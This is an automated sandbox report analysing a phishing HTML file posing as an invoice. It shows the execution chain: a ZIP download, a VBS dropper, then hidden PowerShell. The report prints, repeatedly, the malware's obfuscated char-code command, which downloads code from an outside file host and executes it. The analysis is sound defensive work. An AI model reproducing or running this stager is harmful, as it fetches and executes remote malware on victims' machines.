Edit tour

Windows Analysis Report
faktura_FV2025020637756.html

Overview

General Information

Sample name:	faktura_FV2025020637756.html
Analysis ID:	1636957
MD5:	fdbd089f6a216713e974db50d00971a7
SHA1:	3e22441e7e82cf8bfb0a8d407a6908785af289f5
SHA256:	61fc74fbeb8df66b0d4aeb31bff1203d4fcd6375f272b2d019df1d9fcffdf3e4
Infos:

Detection

Score:	96
Range:	0 - 100
Confidence:	100%

Signatures

System process connects to network (likely due to code injection or exploit)

AI detected suspicious Javascript

Detected javascript redirector / loader

Downloads suspicious files via Chrome

Found suspicious ZIP file

Obfuscated command line found

Sigma detected: Script Initiated Connection to Non-Local Network

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Enables debug privileges

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Potential Dosfuscation Activity

Sigma detected: Script Initiated Connection

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5908 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 4528 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2148,i,14000748609247893809,15602923536421620925,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2184 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

unarchiver.exe (PID: 6704 cmdline: "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\faktura_FV2025020637756.zip" MD5: 16FF3CC6CC330A08EED70CBC1D35F5D2)

7za.exe (PID: 6728 cmdline: "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\nrz2r3tl.2ab" "C:\Users\user\Downloads\faktura_FV2025020637756.zip" MD5: 77E556CDFDC5C592F5C46DB4127C6F4C)

conhost.exe (PID: 6736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 6796 cmdline: "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\nrz2r3tl.2ab\2025020641549.vbs" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 6864 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\nrz2r3tl.2ab\2025020641549.vbs" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 6268 cmdline: "C:\Windows\System32\cmd.exe" /C "echo $($kwXZtAwej = $('{4}{10}{9}' -f $('vgLBiPIqRxeU'.ToCharArray())); $((273,234,303,348,138,249,303,342,354,315,297,303,240,333,315,330,348,231,291,330,291,309,303,342,279,174,174,249,303,342,354,303,342,201,303,342,348,315,306,315,297,291,348,303,258,291,324,315,300,291,348,315,333,330,201,291,324,324,294,291,297,321,96,183,96,369,108,348,342,351,303,375,177,96,108,291,222,333,261,351,198,360,96,183,96,273,249,363,345,348,303,327,138,234,303,348,138,216,348,348,336,261,303,294,246,303,339,351,303,345,348,279,174,174,201,342,303,291,348,303,120,117,312,348,348,336,345,174,141,141,306,315,324,303,312,333,345,348,150,144,144,168,168,159,138,315,330,306,333,174,147,153,162,150,147,141,357,303,294,159,138,336,312,336,117,123,177,96,108,291,222,333,261,351,198,360,138,252,315,327,303,333,351,348,96,183,96,153,144,144,144,144,144,177,96,108,120,273,249,363,345,348,303,327,138,219,333,138,249,348,342,303,291,327,246,303,291,300,303,342,279,120,108,291,222,333,261,351,198,360,138,213,303,348,246,303,345,336,333,330,345,303,120,123,138,213,303,348,246,303,345,336,333,330,345,303,249,348,342,303,291,327,120,123,123,123,138,246,303,291,300,252,333,207,330,300,120,123,96,372,96,219,207,264)^^^|%{[char]($_/3)})-join'') ^^^| ^^^&($kwXZtAwej) | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6376 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3068 cmdline: C:\Windows\system32\cmd.exe /S /D /c" echo $($kwXZtAwej = $('{4}{10}{9}' -f $('vgLBiPIqRxeU'.ToCharArray())); $((273,234,303,348,138,249,303,342,354,315,297,303,240,333,315,330,348,231,291,330,291,309,303,342,279,174,174,249,303,342,354,303,342,201,303,342,348,315,306,315,297,291,348,303,258,291,324,315,300,291,348,315,333,330,201,291,324,324,294,291,297,321,96,183,96,369,108,348,342,351,303,375,177,96,108,291,222,333,261,351,198,360,96,183,96,273,249,363,345,348,303,327,138,234,303,348,138,216,348,348,336,261,303,294,246,303,339,351,303,345,348,279,174,174,201,342,303,291,348,303,120,117,312,348,348,336,345,174,141,141,306,315,324,303,312,333,345,348,150,144,144,168,168,159,138,315,330,306,333,174,147,153,162,150,147,141,357,303,294,159,138,336,312,336,117,123,177,96,108,291,222,333,261,351,198,360,138,252,315,327,303,333,351,348,96,183,96,153,144,144,144,144,144,177,96,108,120,273,249,363,345,348,303,327,138,219,333,138,249,348,342,303,291,327,246,303,291,300,303,342,279,120,108,291,222,333,261,351,198,360,138,213,303,348,246,303,345,336,333,330,345,303,120,123,138,213,303,348,246,303,345,336,333,330,345,303,249,348,342,303,291,327,120,123,123,123,138,246,303,291,300,252,333,207,330,300,120,123,96,372,96,219,207,264)^|%{[char]($_/3)})-join'') ^| ^&($kwXZtAwej) " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

powershell.exe (PID: 3984 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c - MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

chrome.exe (PID: 6392 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "C:\Users\user\Desktop\faktura_FV2025020637756.html" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Sigma Signatures

System Summary

Sigma detected: Script Initiated Connection to Non-Local Network

Source: Network Connection

Author: frack113, Florian Roth: Data: DestinationIp: 149.56.240.131, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\wscript.exe, Initiated: true, ProcessId: 6864, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49709

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\nrz2r3tl.2ab\2025020641549.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\nrz2r3tl.2ab\2025020641549.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\nrz2r3tl.2ab\2025020641549.vbs", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6796, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\nrz2r3tl.2ab\2025020641549.vbs" , ProcessId: 6864, ProcessName: wscript.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\nrz2r3tl.2ab\2025020641549.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\nrz2r3tl.2ab\2025020641549.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\nrz2r3tl.2ab\2025020641549.vbs", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6796, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\nrz2r3tl.2ab\2025020641549.vbs" , ProcessId: 6864, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\nrz2r3tl.2ab\2025020641549.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\nrz2r3tl.2ab\2025020641549.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\nrz2r3tl.2ab\2025020641549.vbs", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6796, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\nrz2r3tl.2ab\2025020641549.vbs" , ProcessId: 6864, ProcessName: wscript.exe

Sigma detected: Potential Dosfuscation Activity

Source: Process started

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /C "echo $($kwXZtAwej = $('{4}{10}{9}' -f $('vgLBiPIqRxeU'.ToCharArray())); $((273,234,303,348,138,249,303,342,354,315,297,303,240,333,315,330,348,231,291,330,291,309,303,342,279,174,174,249,303,342,354,303,342,201,303,342,348,315,306,315,297,291,348,303,258,291,324,315,300,291,348,315,333,330,201,291,324,324,294,291,297,321,96,183,96,369,108,348,342,351,303,375,177,96,108,291,222,333,261,351,198,360,96,183,96,273,249,363,345,348,303,327,138,234,303,348,138,216,348,348,336,261,303,294,246,303,339,351,303,345,348,279,174,174,201,342,303,291,348,303,120,117,312,348,348,336,345,174,141,141,306,315,324,303,312,333,345,348,150,144,144,168,168,159,138,315,330,306,333,174,147,153,162,150,147,141,357,303,294,159,138,336,312,336,117,123,177,96,108,291,222,333,261,351,198,360,138,252,315,327,303,333,351,348,96,183,96,153,144,144,144,144,144,177,96,108,120,273,249,363,345,348,303,327,138,219,333,138,249,348,342,303,291,327,246,303,291,300,303,342,279,120,108,291,222,333,261,351,198,360,138,213,303,348,246,303,345,336,333,330,345,303,120,123,138,213,303,348,246,303,345,336,333,330,345,303,249,348,342,303,291,327,120,123,123,123,138,246,303,291,300,252,333,207,330,300,120,123,96,372,96,219,207,264)^^^|%{[char]($_/3)})-join'') ^^^| ^^^&($kwXZtAwej) | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -", CommandLine: "C:\Windows\System32\cmd.exe" /C "echo $($kwXZtAwej = $('{4}{10}{9}' -f $('vgLBiPIqRxeU'.ToCharArray())); $((273,234,303,348,138,249,303,342,354,315,297,303,240,333,315,330,348,231,291,330,291,309,303,342,279,174,174,249,303,342,354,303,342,201,303,342,348,315,306,315,297,291,348,303,258,291,324,315,300,291,348,315,333,330,201,291,324,324,294,291,297,321,96,183,96,369,108,348,342,351,303,375,177,96,108,291,222,333,261,351,198,360,96,183,96,273,249,363,345,348,303,327,138,234,303,348,138,216,348,348,336,261,303,294,246,303,339,351,303,345,348,279,174,174,201,342,303,291,348,303,120,117,312,348,348,336,345,174,141,141,306,315,324,303,312,333,345,348,150,144,144,168,168,159,138,315,330,306,333,174,147,153,162,150,147,141,357,303,294,159,138,336,312,336,117,123,177,96,108,291,222,333,261,351,198,360,138,252,315,327,303,333,351,348,96,183,96,153,144,144,144,144,144,177,96,108,120,273,249,363,345,348,303,327,138,219,333,138,249,348,342,303,291,327,246,303,291,300,303,342,279,120,108,291,222,333,261,351,198,360,138,213,303,348,246,303,345,336,333,330,345,303,120,123,138,213,303,348,246,303,345,336,333,330,345,303,249,348,342,303,291,327,120,123,123,123,138,246,303,291,300,252,333,207,330,300,120,123,96,372,96,219,207,264)^^^|%{[char]($_/3)})-join'') ^^^| ^^^&($kwXZtAwej) | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\Ap

Sigma detected: Script Initiated Connection

Source: Network Connection

Author: frack113: Data: DestinationIp: 149.56.240.131, DestinationIsIpv6: false, DestinationPort: 443, EventID: 3, Image: C:\Windows\SysWOW64\wscript.exe, Initiated: true, ProcessId: 6864, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49709

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\nrz2r3tl.2ab\2025020641549.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\nrz2r3tl.2ab\2025020641549.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\nrz2r3tl.2ab\2025020641549.vbs", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6796, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\nrz2r3tl.2ab\2025020641549.vbs" , ProcessId: 6864, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -, CommandLine: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -, CommandLine|base64offset|contains: hv, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /C "echo $($kwXZtAwej = $('{4}{10}{9}' -f $('vgLBiPIqRxeU'.ToCharArray())); $((273,234,303,348,138,249,303,342,354,315,297,303,240,333,315,330,348,231,291,330,291,309,303,342,279,174,174,249,303,342,354,303,342,201,303,342,348,315,306,315,297,291,348,303,258,291,324,315,300,291,348,315,333,330,201,291,324,324,294,291,297,321,96,183,96,369,108,348,342,351,303,375,177,96,108,291,222,333,261,351,198,360,96,183,96,273,249,363,345,348,303,327,138,234,303,348,138,216,348,348,336,261,303,294,246,303,339,351,303,345,348,279,174,174,201,342,303,291,348,303,120,117,312,348,348,336,345,174,141,141,306,315,324,303,312,333,345,348,150,144,144,168,168,159,138,315,330,306,333,174,147,153,162,150,147,141,357,303,294,159,138,336,312,336,117,123,177,96,108,291,222,333,261,351,198,360,138,252,315,327,303,333,351,348,96,183,96,153,144,144,144,144,144,177,96,108,120,273,249,363,345,348,303,327,138,219,333,138,249,348,342,303,291,327,246,303,291,300,303,342,279,120,108,291,222,333,261,351,198,360,138,213,303,348,246,303,345,336,333,330,345,303,120,123,138,213,303,348,246,303,345,336,333,330,345,303,249,348,342,303,291,327,120,123,123,123,138,246,303,291,300,252,333,207,330,300,120,123,96,372,96,219,207,264)^^^|%{[char]($_/3)})-join'') ^^^| ^^^&($kwXZtAwej) | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 6268, ParentProcessName: cmd.exe, ProcessCommandLine: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -, ProcessId: 3984, ProcessName: powershell.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

• Phishing
• Compliance
• Software Vulnerabilities
• Networking
• System Summary
• Data Obfuscation
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Anti Debugging
• HIPS / PFW / Operating System Protection Evasion
• Language, Device and Operating System Detection

Click to jump to signature section

Show All Signature Results

Phishing

AI detected suspicious Javascript

Source: 0.1.d.script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... This script demonstrates high-risk behaviors, including dynamic code execution using `eval()` and obfuscated code. The deobfuscated code appears to be performing data exfiltration by sending user data to an untrusted domain. This combination of behaviors is highly suspicious and indicative of malicious intent, warranting a high-risk score.

Detected javascript redirector / loader

Source: faktura_FV2025020637756.html

HTTP Parser: Low number of body elements: 0

Source: faktura_FV2025020637756.html

HTTP Parser: No favicon

Source: C:\Windows\SysWOW64\unarchiver.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Child: C:\Windows\SysWOW64\wscript.exe
Source: C:\Windows\SysWOW64\wscript.exe	Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View	IP Address: 149.56.240.131 149.56.240.131
Source: Joe Sandbox View	IP Address: 149.56.240.129 149.56.240.129

Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.215
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.208
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.215
Source: unknown	TCP traffic detected without corresponding DNS query: 23.60.201.147
Source: unknown	TCP traffic detected without corresponding DNS query: 2.19.104.63
Source: unknown	TCP traffic detected without corresponding DNS query: 2.23.227.215
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.99
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.99
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.99
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.99
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.99
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.99
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.90
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.90
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.90
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.90
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.90
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.90
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.42.65.90
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.253.72
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.99
Source: unknown	TCP traffic detected without corresponding DNS query: 172.217.18.99
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /stats/0.php?4935987&@f16&@g1&@h1&@i1&@vhttps://histats.com/s_opened_TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzEzNC4wLjAuMCBTYWZhcmkvNTM3LjM2 HTTP/1.1Host: s4.histats.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /stats/0.php?4935988&@f16&@g1&@h1&@i1&@vhttps://histats.com/d_opened HTTP/1.1Accept: /Accept-Language: en-chAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s4.histats.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: s4.histats.com
Source: global traffic	DNS traffic detected: DNS query: filehost200885.info
Source: global traffic	DNS traffic detected: DNS query: _13621._https.filehost200885.info

Source: wscript.exe, 0000000B.00000003.1221154917.00000000028E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://histats.com/d_opened
Source: wscript.exe, 0000000B.00000002.2904446853.00000000049F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://histats.com/d_opened3
Source: wscript.exe, 0000000B.00000002.2904973246.0000000004C23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://histats.com/d_openedN
Source: wscript.exe, 0000000B.00000002.2904973246.0000000004C23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://histats.com/d_openedS
Source: wscript.exe, 0000000B.00000002.2905465351.0000000005686000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: wscript.exe, 0000000B.00000002.2903297378.000000000288D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s4.C24
Source: wscript.exe, 0000000B.00000002.2903297378.000000000288D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s4.histats.
Source: wscript.exe, 0000000B.00000002.2903297378.000000000288D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s4.histats.com/
Source: wscript.exe, 0000000B.00000002.2903297378.000000000288D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s4.histats.com/6
Source: wscript.exe, 0000000B.00000002.2903297378.0000000002818000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s4.histats.com/sta
Source: wscript.exe, 0000000B.00000002.2904973246.0000000004C23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s4.histats.com/stats/0.php?4935988&

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49673
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49693
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49681
Source: unknown	Network traffic detected: HTTP traffic on port 49693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 62229 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 62229
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49681 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443

Source: faktura_FV2025020637756.zip.crdownload.0.dr	Zip Entry: 2025020641549.vbs
Source: chromecache_65.1.dr	Zip Entry: 2025020641549.vbs

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C "echo $($kwXZtAwej = $('{4}{10}{9}' -f $('vgLBiPIqRxeU'.ToCharArray())); $((273,234,303,348,138,249,303,342,354,315,297,303,240,333,315,330,348,231,291,330,291,309,303,342,279,174,174,249,303,342,354,303,342,201,303,342,348,315,306,315,297,291,348,303,258,291,324,315,300,291,348,315,333,330,201,291,324,324,294,291,297,321,96,183,96,369,108,348,342,351,303,375,177,96,108,291,222,333,261,351,198,360,96,183,96,273,249,363,345,348,303,327,138,234,303,348,138,216,348,348,336,261,303,294,246,303,339,351,303,345,348,279,174,174,201,342,303,291,348,303,120,117,312,348,348,336,345,174,141,141,306,315,324,303,312,333,345,348,150,144,144,168,168,159,138,315,330,306,333,174,147,153,162,150,147,141,357,303,294,159,138,336,312,336,117,123,177,96,108,291,222,333,261,351,198,360,138,252,315,327,303,333,351,348,96,183,96,153,144,144,144,144,144,177,96,108,120,273,249,363,345,348,303,327,138,219,333,138,249,348,342,303,291,327,246,303,291,300,303,342,279,120,108,291,222,333,261,351,198,360,138,213,303,348,246,303,345,336,333,330,345,303,120,123,138,213,303,348,246,303,345,336,333,330,345,303,249,348,342,303,291,327,120,123,123,123,138,246,303,291,300,252,333,207,330,300,120,123,96,372,96,219,207,264)^^^\|%{[char]($_/3)})-join'') ^^^\| ^^^&($kwXZtAwej) \| C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -Window Hidden -c -
